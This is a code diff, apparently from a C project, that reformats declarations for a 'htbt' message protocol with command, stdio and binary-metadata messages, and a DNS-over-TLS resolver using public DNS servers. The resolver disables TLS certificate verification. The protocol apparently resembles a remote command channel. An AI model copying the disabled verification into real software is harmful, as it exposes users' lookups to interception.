-prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in);
-prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in);
-
-prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out);
-prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out);
-prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out);
-prne_htbt_ser_rc_t prne_htbt_dser_hover (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_hover_t *out);
-prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out);
-prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out);
-prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out);
-
-char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args);
+bool prne_htbt_eq_stdio (
+ const prne_htbt_stdio_t *a,
+ const prne_htbt_stdio_t *b);
+
+prne_htbt_ser_rc_t prne_htbt_ser_msg_head (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_msg_head_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_status (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_status_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_host_info (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_host_info_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_hover (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_hover_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_cmd (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_cmd_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_bin_meta_t *in);
+prne_htbt_ser_rc_t prne_htbt_ser_stdio (
+ uint8_t *mem,
+ const size_t mem_len,
+ size_t *actual,
+ const prne_htbt_stdio_t *in);
+
+prne_htbt_ser_rc_t prne_htbt_dser_msg_head (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_msg_head_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_status (
+ uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_status_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_host_info (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_host_info_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_hover (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_hover_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_cmd (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_cmd_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_bin_meta_t *out);
+prne_htbt_ser_rc_t prne_htbt_dser_stdio (
+ const uint8_t *data,
+ const size_t len,
+ size_t *actual,
+ prne_htbt_stdio_t *out);
+
+char **prne_htbt_parse_args (
+ char *m_args,
+ const size_t args_size,
+ const size_t add_argc,
+ char **add_args,
+ size_t *argc,
+ const size_t max_args);
diff --git a/src/resolv.c b/src/resolv.c
index cc4d30c..40ea997 100644
--- a/src/resolv.c
+++ b/src/resolv.c
@@ -27,10 +27,13 @@
#include <mbedtls/ssl.h>
#include <mbedtls/ctr_drbg.h>
-prne_static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t");
+prne_static_assert(
+ sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t),
+ "prne_imap cannot contain uint_fast16_t");
#define OK_OR_ERR(v) if (v < 0) { goto ERR; }
+
typedef enum {
RESOLV_CTX_STATE_OK,
RESOLV_CTX_STATE_FIN_CALLED,
@@ -219,7 +222,13 @@ ERR:
return NULL;
}
-static bool resolv_qq (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out, query_entry_t **ny_q_ent) {
+static bool resolv_qq (
+ prne_resolv_t *ctx,
+ const char *name,
+ prne_pth_cv_t *cv,
+ prne_resolv_prm_t *out,
+ query_entry_t **ny_q_ent)
+{
query_entry_t *q_ent = NULL;
if (ctx->ctx_state != RESOLV_CTX_STATE_OK) {
@@ -288,7 +297,10 @@ static void resolv_disown_qent (query_entry_t *qent) {
static size_t resolv_next_pool_ptr (prne_resolv_t *ctx, const size_t cnt) {
size_t ret = 0;
- prne_assert(mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) == 0);
+ prne_assert(mbedtls_ctr_drbg_random(
+ ctx->ssl.ctr_drbg,
+ (unsigned char*)&ret,
+ sizeof(size_t)) == 0);
return ret % cnt;
}
@@ -297,7 +309,10 @@ static uint16_t resolv_next_qid (prne_resolv_t *ctx) {
uint16_t ret;
for (uint_fast16_t i = 0; i < UINT16_MAX; i += 1) {
- prne_assert(mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) == 0);
+ prne_assert(mbedtls_ctr_drbg_random(
+ ctx->ssl.ctr_drbg,
+ (unsigned char*)&ret,
+ sizeof(uint16_t)) == 0);
ret = (ret % UINT16_MAX) + 1;
if (prne_imap_lookup(&ctx->qid_map, ret) == NULL) {
@@ -308,7 +323,11 @@ static uint16_t resolv_next_qid (prne_resolv_t *ctx) {
return 0;
}
-static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) {
+static void resolv_close_sck (
+ prne_resolv_t *ctx,
+ const struct timespec *pause,
+ bool change_srvr)
+{
size_t i;
query_entry_t *qent;
prne_llist_entry_t *lent;
@@ -445,19 +464,35 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) {
pfs[i].fd = -1;
}
else if (pfs[i].revents & POLLOUT) {
- if (getsockopt(pfs[i].fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) {
+ if (getsockopt(
+ pfs[i].fd,
+ SOL_SOCKET,
+ SO_ERROR,
+ &optval,
+ &optval_len) < 0 ||
+ optval != 0)
+ {
prne_close(pfs[i].fd);
pfs[i].fd = -1;
}
else {
- if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) {
+ if (mbedtls_ssl_setup(
+ &ctx->ssl.ctx,
+ &ctx->ssl.conf) != 0 ||
+ mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0)
+ {
err_sleep = &RESOLV_RSRC_ERR_PAUSE;
goto END;
}
ctx->act_sck_pfd.fd = pfs[i].fd;
pfs[i].fd = -1;
- mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_sck_pfd.fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL);
+ mbedtls_ssl_set_bio(
+ &ctx->ssl.ctx,
+ &ctx->act_sck_pfd.fd,
+ prne_mbedtls_ssl_send_cb,
+ prne_mbedtls_ssl_recv_cb,
+ NULL);
ret = true;
break;
}
@@ -524,7 +559,14 @@ END:
return true;
}
-static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p, prne_resolv_qr_t *qr, int *err) {
+static const uint8_t* resolv_index_labels (
+ prne_imap_t *map,
+ const uint8_t *start,
+ const uint8_t *end,
+ const uint8_t *p,
+ prne_resolv_qr_t *qr,
+ int *err)
+{
uint16_t ptr;
const prne_imap_tuple_t *tpl;
@@ -566,7 +608,12 @@ static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *star
return p + 1;
}
-static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *a, const uint8_t *b, prne_resolv_qr_t *qr) {
+static int resolv_mapped_qname_cmp (
+ prne_imap_t *map,
+ const uint8_t *a,
+ const uint8_t *b,
+ prne_resolv_qr_t *qr)
+{
const uint8_t *p[2] = { a, b };
size_t i;
uint16_t ptr;
@@ -607,7 +654,12 @@ static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *a, const ui
return ret;
}
-static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const size_t len, bool *err_flag) {
+static bool resolv_proc_dns_msg (
+ prne_resolv_t *ctx,
+ const uint8_t *data,
+ const size_t len,
+ bool *err_flag)
+{
typedef struct {
const uint8_t *name;
const uint8_t *data;
@@ -706,7 +758,13 @@ static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const
goto END;
}
qname = data + 12;
- p = resolv_index_labels(&ptr_map, data, end, (const uint8_t*)qname, &qr, &err);
+ p = resolv_index_labels(
+ &ptr_map,
+ data,
+ end,
+ (const uint8_t*)qname,
+ &qr,
+ &err);
if (p == NULL) {
goto END;
}
@@ -720,8 +778,10 @@ static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const
*err_flag = true;
goto END;
}
- if ((ttype != 0 && ttype != (((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1])) ||
- (((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]) != 1) {
+ if ((ttype != 0 &&
+ ttype != (((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1])) ||
+ (((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3]) != 1)
+ {
qr = PRNE_RESOLV_QR_PRO_ERR;
*err_flag = true;
goto END;
@@ -755,7 +815,11 @@ static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const
}
tpl->rtype = ((uint_fast16_t)p[0] << 8) | (uint_fast16_t)p[1];
tpl->rclass = ((uint_fast16_t)p[2] << 8) | (uint_fast16_t)p[3];
- tpl->ttl = ((uint_fast32_t)p[4]) | ((uint_fast32_t)p[5]) | ((uint_fast32_t)p[6]) | ((uint_fast32_t)p[7]);
+ tpl->ttl =
+ ((uint_fast32_t)p[4]) |
+ ((uint_fast32_t)p[5]) |
+ ((uint_fast32_t)p[6]) |
+ ((uint_fast32_t)p[7]);
tpl->data_len = ((uint_fast16_t)p[8] << 8) | (uint_fast16_t)p[9];
rname = tpl->data = p + 10;
@@ -789,7 +853,13 @@ static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const
loop_cnt = 0;
}
for (j = 0; j < loop_cnt; j += 1) {
- rname = resolv_index_labels(&ptr_map, data, tpl->data + tpl->data_len, rname, &qr, &err);
+ rname = resolv_index_labels(
+ &ptr_map,
+ data,
+ tpl->data + tpl->data_len,
+ rname,
+ &qr,
+ &err);
if (rname == NULL) {
goto END;
}
@@ -843,7 +913,10 @@ QNAME_START:
goto END;
}
if (cmp_ret && ttype == tpl->rtype) {
- if (prne_llist_append(&ret_list, (prne_llist_element_t)tpl) == NULL) {
+ if (prne_llist_append(
+ &ret_list,
+ (prne_llist_element_t)tpl) == NULL)
+ {
qr = PRNE_RESOLV_QR_ERR;
err = errno;
goto END;
@@ -858,7 +931,9 @@ QNAME_START:
prne_llist_entry_t *cur;
rr_tuple_t *tpl;
- qent->fut.rr = (prne_resolv_rr_t*)prne_malloc(sizeof(prne_resolv_rr_t), ret_list.size);
+ qent->fut.rr = (prne_resolv_rr_t*)prne_malloc(
+ sizeof(prne_resolv_rr_t),
+ ret_list.size);
if (qent->fut.rr == NULL) {
qr = PRNE_RESOLV_QR_ERR;
err = errno;
@@ -878,8 +953,14 @@ QNAME_START:
qent->fut.rr[i].rr_type = tpl->rtype;
qent->fut.rr[i].rr_ttl = tpl->ttl;
if (tpl->data_len > 0) {
- if ((qent->fut.rr[i].name = resolv_qname_tostr(qent->qname)) == NULL ||
- (qent->fut.rr[i].rd_data = (uint8_t*)prne_malloc(1, tpl->data_len)) == NULL) {
+ qent->fut.rr[i].name = resolv_qname_tostr(qent->qname);
+ qent->fut.rr[i].rd_data = (uint8_t*)prne_malloc(
+ 1,
+ tpl->data_len);
+
+ if (qent->fut.rr[i].name == NULL ||
+ qent->fut.rr[i].rd_data == NULL)
+ {
qr = PRNE_RESOLV_QR_ERR;
err = errno;
goto END;
@@ -928,7 +1009,11 @@ END:
}
static size_t resolv_calc_dot_msg_len (query_entry_t *qent) {
- return 2/*DoT head*/ + 12/*msg head*/ + qent->qname_size + 4/*QCLASS, QTYPE*/;
+ return
+ 2/*DoT head*/ +
+ 12/*msg head*/ +
+ qent->qname_size +
+ 4/*QCLASS, QTYPE*/;
}
static void resolv_write_dns_msg (query_entry_t *qent, uint8_t *mem) {
@@ -1011,7 +1096,9 @@ static bool resolv_send_dns_msgs (prne_resolv_t *ctx) {
ctx->iobuf[1].m[ctx->iobuf[1].len + 1] =
prne_getmsb16(dns_msg_len, 1);
qent->qid = qid;
- resolv_write_dns_msg(qent, ctx->iobuf[1].m + ctx->iobuf[1].len + 2);
+ resolv_write_dns_msg(
+ qent,
+ ctx->iobuf[1].m + ctx->iobuf[1].len + 2);
prne_iobuf_shift(ctx->iobuf + 1, dot_msg_len);
ret |= true;
}
@@ -1033,7 +1120,10 @@ static void resolv_proc_expired (prne_resolv_t *ctx) {
while (cur != NULL) {
qent = (query_entry_t*)cur->element;
- if (prne_cmp_timespec(RESOLV_QUERY_TIMEOUT, prne_sub_timespec(now, qent->tp_queued)) < 0) {
+ if (prne_cmp_timespec(
+ RESOLV_QUERY_TIMEOUT,
+ prne_sub_timespec(now, qent->tp_queued)) < 0)
+ {
qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT;
cur = prne_llist_erase(&ctx->qlist, cur);
resolv_disown_qent(qent);
@@ -1114,13 +1204,19 @@ LOOP:
ctx->iobuf[0].m[pos],
ctx->iobuf[0].m[pos + 1]);
if (msg_len > 512) { // unimplemented.
- prne_dbgpf("* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len);
+ prne_dbgpf(
+ "* [resolv_wkr] Protocol error: "
+ "received %zu bytes long msg.\n"
+ "* [resolv_wkr] Dropping connection!\n",
+ msg_len);
// try to get qid
if (ctx->iobuf[0].len > pos + 4) {
const uint16_t qid = prne_recmb_msb16(
ctx->iobuf[0].m[pos + 2],
ctx->iobuf[0].m[pos + 3]);
- const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid);
+ const prne_imap_tuple_t *tpl = prne_imap_lookup(
+ &ctx->qid_map,
+ qid);
if (tpl->val != (prne_imap_val_type_t)NULL) {
query_entry_t *qent = (query_entry_t*)tpl->val;
@@ -1136,7 +1232,11 @@ LOOP:
break;
}
- proc |= resolv_proc_dns_msg(ctx, ctx->iobuf[0].m + pos + 2, msg_len, &err_flag);
+ proc |= resolv_proc_dns_msg(
+ ctx,
+ ctx->iobuf[0].m + pos + 2,
+ msg_len,
+ &err_flag);
if (err_flag) {
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
goto LOOP;
@@ -1228,7 +1328,9 @@ static void *resolv_wkr_entry (void *p) {
pth_event_t ev;
if (ctx->act_sck_pfd.fd >= 0) {
- ev = pth_event(PTH_EVENT_TIME, pth_timeout(RESOLV_SCK_IDLE_TIMEOUT.tv_sec, 0));
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ pth_timeout(RESOLV_SCK_IDLE_TIMEOUT.tv_sec, 0));
prne_assert(ev != NULL);
}
else {
@@ -1258,7 +1360,12 @@ static void *resolv_wkr_entry (void *p) {
return NULL;
}
-prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_resolv_ns_pool_t pool_v4, const prne_resolv_ns_pool_t pool_v6) {
+prne_resolv_t *prne_alloc_resolv (
+ prne_worker_t *wkr,
+ mbedtls_ctr_drbg_context *ctr_drbg,
+ const prne_resolv_ns_pool_t pool_v4,
+ const prne_resolv_ns_pool_t pool_v6)
+{
prne_resolv_t *ctx = NULL;
if (wkr == NULL ||
@@ -1300,10 +1407,18 @@ prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *
ctx->nspool6 = pool_v6;
ctx->ptr_nspool4 = resolv_next_pool_ptr(ctx, ctx->nspool4.cnt);
ctx->ptr_nspool6 = resolv_next_pool_ptr(ctx, ctx->nspool6.cnt);
- if (mbedtls_ssl_config_defaults(&ctx->ssl.conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) != 0) {
+ if (mbedtls_ssl_config_defaults(
+ &ctx->ssl.conf,
+ MBEDTLS_SSL_IS_CLIENT,
+ MBEDTLS_SSL_TRANSPORT_STREAM,
+ MBEDTLS_SSL_PRESET_DEFAULT) != 0)
+ {
goto ERR;
}
- mbedtls_ssl_conf_rng(&ctx->ssl.conf, mbedtls_ctr_drbg_random, ctx->ssl.ctr_drbg);
+ mbedtls_ssl_conf_rng(
+ &ctx->ssl.conf,
+ mbedtls_ctr_drbg_random,
+ ctx->ssl.ctr_drbg);
mbedtls_ssl_conf_authmode(&ctx->ssl.conf, MBEDTLS_SSL_VERIFY_NONE);
wkr->ctx = ctx;
@@ -1324,7 +1439,13 @@ ERR:
return NULL;
}
-bool prne_resolv_prm_gethostbyname (prne_resolv_t *wkr, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out) {
+bool prne_resolv_prm_gethostbyname (
+ prne_resolv_t *wkr,
+ const char *name,
+ const prne_ipv_t ipv,
+ prne_pth_cv_t *cv,
+ prne_resolv_prm_t *out)
+{
bool ret;
query_entry_t *q_ent;
prne_resolv_query_type_t qt;
@@ -1346,7 +1467,12 @@ bool prne_resolv_prm_gethostbyname (prne_resolv_t *wkr, const char *name, const
return ret;
}
-bool prne_resolv_prm_gettxtrec (prne_resolv_t *wkr, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out) {
+bool prne_resolv_prm_gettxtrec (
+ prne_resolv_t *wkr,
+ const char *name,
+ prne_pth_cv_t *cv,
+ prne_resolv_prm_t *out)
+{
bool ret;
query_entry_t *q_ent;
@@ -1403,7 +1529,10 @@ bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt) {
cnt);
}
-prne_resolv_ns_pool_t prne_resolv_own_ns_pool(const prne_resolv_ns_pool_t *pool, const bool ownership) {
+prne_resolv_ns_pool_t prne_resolv_own_ns_pool(
+ const prne_resolv_ns_pool_t *pool,
+ const bool ownership)
+{
prne_resolv_ns_pool_t ret = *pool;
ret.ownership = ownership;
return ret;
diff --git a/src/resolv.h b/src/resolv.h
index 71e4958..74fa03f 100644
--- a/src/resolv.h
+++ b/src/resolv.h
@@ -68,22 +68,30 @@ struct prne_resolv_rr {
uint16_t rd_len;
};
-#define PRNE_RESOLV_NS_IPV4_GOOGLE_A\
- 0x8, 0x8, 0x8, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
-#define PRNE_RESOLV_NS_IPV4_GOOGLE_B\
- 0x8, 0x8, 0x4, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
-#define PRNE_RESOLV_NS_IPV4_CLOUDFLARE_A\
- 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
-#define PRNE_RESOLV_NS_IPV4_CLOUDFLARE_B\
- 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
-#define PRNE_RESOLV_NS_IPV4_QUAD9_A\
- 0x9, 0x9, 0x9, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
-#define PRNE_RESOLV_NS_IPV4_QUAD9_B\
- 0x95, 0x70, 0x70, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
-#define PRNE_RESOLV_NS_IPV4_CLEANBROWSING_A\
- 0xb9, 0xe4, 0xa8, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
-#define PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B\
- 0xb9, 0xe4, 0xa9, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
+#define PRNE_RESOLV_NS_IPV4_GOOGLE_A \
+ 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+#define PRNE_RESOLV_NS_IPV4_GOOGLE_B \
+ 0x08, 0x08, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+#define PRNE_RESOLV_NS_IPV4_CLOUDFLARE_A \
+ 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+#define PRNE_RESOLV_NS_IPV4_CLOUDFLARE_B \
+ 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+#define PRNE_RESOLV_NS_IPV4_QUAD9_A \
+ 0x09, 0x09, 0x09, 0x0a, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+#define PRNE_RESOLV_NS_IPV4_QUAD9_B \
+ 0x95, 0x70, 0x70, 0x0a, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+#define PRNE_RESOLV_NS_IPV4_CLEANBROWSING_A \
+ 0xb9, 0xe4, 0xa8, 0x09, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+#define PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B \
+ 0xb9, 0xe4, 0xa9, 0x09, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
#define PRNE_RESOLV_NS_POOL_IPV4 {\
PRNE_RESOLV_NS_IPV4_GOOGLE_A,\
PRNE_RESOLV_NS_IPV4_GOOGLE_B,\
@@ -95,22 +103,30 @@ struct prne_resolv_rr {
PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B\
}
-#define PRNE_RESOLV_NS_IPV6_GOOGLE_A\
- 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x88
-#define PRNE_RESOLV_NS_IPV6_GOOGLE_B\
- 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x44
-#define PRNE_RESOLV_NS_IPV6_CLOUDFLARE_A\
- 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11
-#define PRNE_RESOLV_NS_IPV6_CLOUDFLARE_B\
- 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x1
-#define PRNE_RESOLV_NS_IPV6_QUAD9_A\
- 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfe
-#define PRNE_RESOLV_NS_IPV6_QUAD9_B\
- 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9
-#define PRNE_RESOLV_NS_IPV6_CLEANBROWSING_A\
- 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2
-#define PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B\
- 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2
+#define PRNE_RESOLV_NS_IPV6_GOOGLE_A \
+ 0x20, 0x01, 0x48, 0x60, 0x48, 0x60, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x88
+#define PRNE_RESOLV_NS_IPV6_GOOGLE_B \
+ 0x20, 0x01, 0x48, 0x60, 0x48, 0x60, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x44
+#define PRNE_RESOLV_NS_IPV6_CLOUDFLARE_A \
+ 0x26, 0x06, 0x47, 0x00, 0x47, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x11
+#define PRNE_RESOLV_NS_IPV6_CLOUDFLARE_B \
+ 0x26, 0x06, 0x47, 0x00, 0x47, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01
+#define PRNE_RESOLV_NS_IPV6_QUAD9_A \
+ 0x26, 0x20, 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe
+#define PRNE_RESOLV_NS_IPV6_QUAD9_B \
+ 0x26, 0x20, 0x00, 0xfe, 0x00, 0x00, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09
+#define PRNE_RESOLV_NS_IPV6_CLEANBROWSING_A \
+ 0x2a, 0x0d, 0x2a, 0x00, 0x00, 0x01, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02
+#define PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B \
+ 0x2a, 0x0d, 0x2a, 0x00, 0x00, 0x02, 0x00, 0x00,\
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02
#define PRNE_RESOLV_NS_POOL_IPV6 {\
PRNE_RESOLV_NS_IPV6_GOOGLE_A,\
PRNE_RESOLV_NS_IPV6_GOOGLE_B,\
@@ -130,31 +146,46 @@ extern const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV4_POOL;
extern const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV6_POOL;
// honor bind-utils' choice of words
-#define PRNE_RESOLV_RCODE_NOERROR 0
-#define PRNE_RESOLV_RCODE_FORMERR 1
-#define PRNE_RESOLV_RCODE_SERVFAIL 2
-#define PRNE_RESOLV_RCODE_NXDOMAIN 3
-#define PRNE_RESOLV_RCODE_NOTIMP 4
-#define PRNE_RESOLV_RCODE_REFUSED 5
-
-#define PRNE_RESOLV_RTYPE_A 1
-#define PRNE_RESOLV_RTYPE_NS 2
-#define PRNE_RESOLV_RTYPE_CNAME 5
-#define PRNE_RESOLV_RTYPE_SOA 6
-#define PRNE_RESOLV_RTYPE_PTR 12
-#define PRNE_RESOLV_RTYPE_MX 15
-#define PRNE_RESOLV_RTYPE_TXT 16
-#define PRNE_RESOLV_RTYPE_AAAA 28
-
-
-prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_resolv_ns_pool_t pool_v4, const prne_resolv_ns_pool_t pool_v6);
-bool prne_resolv_prm_gethostbyname (prne_resolv_t *ctx, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out);
-bool prne_resolv_prm_gettxtrec (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out);
+#define PRNE_RESOLV_RCODE_NOERROR 0
+#define PRNE_RESOLV_RCODE_FORMERR 1
+#define PRNE_RESOLV_RCODE_SERVFAIL 2
+#define PRNE_RESOLV_RCODE_NXDOMAIN 3
+#define PRNE_RESOLV_RCODE_NOTIMP 4
+#define PRNE_RESOLV_RCODE_REFUSED 5
+
+#define PRNE_RESOLV_RTYPE_A 1
+#define PRNE_RESOLV_RTYPE_NS 2
+#define PRNE_RESOLV_RTYPE_CNAME 5
+#define PRNE_RESOLV_RTYPE_SOA 6
+#define PRNE_RESOLV_RTYPE_PTR 12
+#define PRNE_RESOLV_RTYPE_MX 15
+#define PRNE_RESOLV_RTYPE_TXT 16
+#define PRNE_RESOLV_RTYPE_AAAA 28
+
+
+prne_resolv_t *prne_alloc_resolv (
+ prne_worker_t *wkr,
